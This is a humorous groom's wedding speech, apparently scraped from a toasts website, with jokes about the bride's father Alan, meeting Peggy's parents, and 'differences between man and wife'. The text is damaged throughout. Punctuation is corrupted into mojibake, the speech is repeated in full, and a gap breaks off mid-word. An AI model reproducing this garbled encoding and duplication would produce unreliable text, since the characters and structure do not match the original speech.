Wedding Speech Delivered by the Groom I’d like to start by thanking Alan for his kind words and also to thank him on behalf of everyone for footing the bill for today’s festivities†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ Having had a wonderful spread and knowing what we have to look forward to tonight, I now understand why he had the heating turned off all last winter! I was going to begin with ladies and gentlemen but on looking around I'm glad I didn't. So here goes. Distinguished guests, those of lesser distinction, and those of no distinction at all†¦Ã¢â‚¬ ¦ Family, relatives, (new and old), in-laws and outlaws, friends, friends of friends, and freeloaders Welcome to our wedding reception. I would particularly like to extend a warm welcome to all our guests from Mississippi and Kentucky†¦Ã¢â‚¬ ¦ Welcome to the wonderful state of California, and for those of you who want to put your watches forward, it’s now 2005†¦..!! I’ll never forget the first time Peggy took me to meet her parents. There was me trembling at the knees and there was Alan sitting in his white satin robe and fluffy slippers†¦Ã¢â‚¬ ¦ I thought, â€Å"I need to break the ice here†, so I asked him what football team he supports. Of course he replied State University, so I said â€Å"it must be exciting when you win a match. â€Å" Don’t Know† he said, I’ve only supported them for 40 years†Ã¢â‚¬ ¦Ã¢â‚¬ ¦ Seriously though†¦.. The bible tells us, ‘Who so-ever finds a wife, finds a good thing’. .. ...ure life together. These are taken from the book â€Å"The differences between man and wife†: Learn to work the toilet seat. If it's up, put it down. We need it up - you need it down. You don't hear us complaining about you leaving it down. We don't remember dates. Mark birthdays and anniversaries on a calendar and remind us frequently beforehand BEER is as exciting for us as handbags are for you ALL men see in only 6 colours. Peach, for example, is a fruit, not a colour. Lastly and most importantly†¦Ã¢â‚¬ ¦.. Christopher Columbus didn’t need directions, and neither do we. And with that I'd ask you to charge your glasses and be upstanding for a toast to the bridesmaids. I give you the bridesmaids Wedding Speech Delivered by the Groom -- Wedding Toasts Roasts Speeche Wedding Speech Delivered by the Groom I’d like to start by thanking Alan for his kind words and also to thank him on behalf of everyone for footing the bill for today’s festivities†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ Having had a wonderful spread and knowing what we have to look forward to tonight, I now understand why he had the heating turned off all last winter! I was going to begin with ladies and gentlemen but on looking around I'm glad I didn't. So here goes. Distinguished guests, those of lesser distinction, and those of no distinction at all†¦Ã¢â‚¬ ¦ Family, relatives, (new and old), in-laws and outlaws, friends, friends of friends, and freeloaders Welcome to our wedding reception. I would particularly like to extend a warm welcome to all our guests from Mississippi and Kentucky†¦Ã¢â‚¬ ¦ Welcome to the wonderful state of California, and for those of you who want to put your watches forward, it’s now 2005†¦..!! I’ll never forget the first time Peggy took me to meet her parents. There was me trembling at the knees and there was Alan sitting in his white satin robe and fluffy slippers†¦Ã¢â‚¬ ¦ I thought, â€Å"I need to break the ice here†, so I asked him what football team he supports. Of course he replied State University, so I said â€Å"it must be exciting when you win a match. â€Å" Don’t Know† he said, I’ve only supported them for 40 years†Ã¢â‚¬ ¦Ã¢â‚¬ ¦ Seriously though†¦.. The bible tells us, ‘Who so-ever finds a wife, finds a good thing’. .. ...ure life together. These are taken from the book â€Å"The differences between man and wife†: Learn to work the toilet seat. If it's up, put it down. We need it up - you need it down. You don't hear us complaining about you leaving it down. We don't remember dates. Mark birthdays and anniversaries on a calendar and remind us frequently beforehand BEER is as exciting for us as handbags are for you ALL men see in only 6 colours. Peach, for example, is a fruit, not a colour. Lastly and most importantly†¦Ã¢â‚¬ ¦.. Christopher Columbus didn’t need directions, and neither do we. And with that I'd ask you to charge your glasses and be upstanding for a toast to the bridesmaids. I give you the bridesmaids